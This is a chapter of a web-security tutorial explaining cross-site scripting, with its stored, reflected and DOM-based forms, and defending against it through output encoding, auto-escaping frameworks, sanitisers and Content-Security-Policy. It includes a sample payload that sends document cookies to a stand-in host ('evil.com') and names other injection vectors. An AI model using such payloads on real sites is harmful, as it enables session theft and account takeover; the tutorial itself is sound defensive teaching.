Chapter 95·Intermediate·11 min read
XSS Explained: Cross-Site Scripting, and How to Actually Stop It
What is XSS (cross-site scripting)? A plain-English explanation of how attacker JavaScript ends up running in your users' browsers — stored, reflected, and DOM-based XSS — and the real fix: context-aware output encoding, not input blacklists.
July 24, 2026
The same-origin policy is supposed to keep other sites' code away from your users. Cross-site scripting defeats it with one move: instead of running malicious code on another origin, the attacker gets it running on yours. Now the same-origin policy is working for them.
XSS is one of the oldest and still one of the most common web vulnerabilities on the OWASP Top 10. This chapter explains exactly how it works and — more importantly — why the fix most developers reach for first is the wrong one.
The one-sentence mechanism
A browser receiving a page cannot tell "content" from "code." It's all just text in the response; <script> tags run because they're <script> tags, regardless of who wrote them. So:
XSS happens when attacker-controlled text is placed into a page in a position where the browser interprets it as code instead of data.
That's the entire vulnerability. Everything else is variations on how the attacker's text gets there.
Consider a comment section that displays what users post. Alice writes "Nice article!" and the server builds:
<div class="comment">Nice article!</div>Now Mallory posts this as her "comment":
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>If the server drops that text into the page the same way, every visitor's browser receives a real <script> tag and dutifully runs it — shipping their session cookies to Mallory. The comment box was never a comment box; it was, per chapter 1, a delivery mechanism for JavaScript.
Why XSS is so damaging
Once attacker JavaScript runs on your origin, it has everything your own scripts have — this is the cruel inversion of the same-origin policy. Within the victim's session it can:
- Steal session cookies (unless they're
HttpOnly— see chapter 4 and the cookies chapter) and hijack the account. - Act as the user — make authenticated requests to your API, which happily obliges: the requests come from your real origin with real credentials.
- Keylog and scrape — read everything typed into forms, everything on the page, and quietly exfiltrate it.
- Rewrite the UI — inject a fake login prompt, a fake payment form, a defacement.
"It's just JavaScript" undersells it. On a logged-in banking or admin page, XSS is close to full account takeover, executed silently in the victim's own browser.
The three flavours
XSS is classified by how the payload reaches the page. The distinction matters because it changes who's hit and where you defend.
Stored (persistent) XSS — the payload is saved on your server (a comment, a profile bio, a support ticket) and served to everyone who views that content. Most dangerous, because one injection hits every subsequent visitor, no link required. This is chapter 1's "trust is not transitive" made real: the data feels safe because it came from your database — but it originated with an attacker.
Reflected XSS — the payload rides in the request (usually a URL parameter) and is immediately reflected into the response. A search page that prints "No results for: <your query>" will run a script placed in the query. It requires tricking a victim into clicking a crafted link, so it's typically delivered by phishing.
DOM-based XSS — the payload never touches the server; your own client-side JavaScript takes attacker-controlled data (from the URL, say) and writes it unsafely into the page (element.innerHTML = location.hash). The server sees nothing, so server-side defences miss it entirely — it's a bug purely in your front-end code.
The fix everyone tries first — and why it fails
The instinct is input filtering: scan incoming data, strip <script> tags or block anything with < in it. It feels right and it's the wrong primary defence, for two reasons.
It's a blacklist, and blacklists leak. XSS doesn't require <script>. It hides in <img src=x onerror=...>, in javascript: URLs, in event handlers, in SVG, in dozens of encodings that browsers happily decode. Every filter is a guess at the full set of dangerous inputs, and browsers keep inventing new ones. You will miss cases.
It mangles legitimate data. Someone should be able to write "use <div> for that" in a comment, or have the surname O'Brien, or discuss 5 < 10. Filtering at input corrupts real data to defend a boundary that isn't even the right one.
The real fix: context-aware output encoding
Neutralise data when it's placed into a page, escaped for exactly the context it lands in:
| Where the data lands | Neutralisation | Example |
|---|---|---|
| HTML body | HTML-entity encode | < → <, so it displays rather than executes |
| HTML attribute | Attribute-encode + always quote | Stops breaking out of the attribute |
| Inside a URL | URL-encode | Stops javascript: and parameter injection |
Inside a <script> block | JavaScript-encode (better: don't) | The hardest context — avoid putting data here |
Encoded, Mallory's payload becomes the literal, harmless text <script>fetch(...)</script> — it shows up as characters on the page, exactly as a comment about scripts should, and never executes. Meanwhile O'Brien and 5 < 10 survive intact, because you stored them untouched and only escaped them for display.
The great practical news: you rarely do this by hand. Modern frameworks encode by default — React's {userData}, Angular's interpolation, Vue's {{ }}, and server templating like Jinja or Razor all auto-escape for the HTML context. The dangerous moves are the opt-outs: dangerouslySetInnerHTML, v-html, innerHTML =, [innerHTML]. Treat every one as a place where you've taken personal responsibility for XSS — and if you must render user-supplied HTML (a rich-text editor), run it through a hardened sanitiser like DOMPurify, never a regex.
The safety net: Content-Security-Policy
Even careful teams slip. A Content-Security-Policy (full treatment in the headers chapter) is your second line: an HTTP header telling the browser which script sources are allowed to run. A strong CSP can neutralise an injected inline <script> even after it reached the page — the browser refuses to execute a script the policy didn't sanction.
But the ordering is non-negotiable: encoding is the fix; CSP is the backstop. A CSP with an XSS hole underneath is one misstep from failing; encoding with a CSP on top is defence-in-depth. Never ship the net instead of the floor.
Recap
- XSS = attacker text placed where the browser reads it as code — the browser can't distinguish your JavaScript from theirs.
- It's severe because injected script runs inside your origin with full privileges: cookie theft, actions as the user, keylogging, UI forgery.
- Three flavours by delivery: stored (in your DB, hits everyone), reflected (off a URL, needs a click), DOM-based (your own JS, server never sees it).
- Input filtering is the wrong primary defence — blacklists leak and legitimate data gets mangled; danger lives at output, not input.
- The fix is context-aware output encoding, mostly handled by frameworks that auto-escape — the risk is the opt-outs (
innerHTML,dangerouslySetInnerHTML). - CSP is defence-in-depth, a backstop layered on top of encoding, never a replacement.
XSS lets an attacker run code in your site. The next attack is sneakier — it makes the victim's browser act on your site without any code injection at all. Continue to CSRF, explained.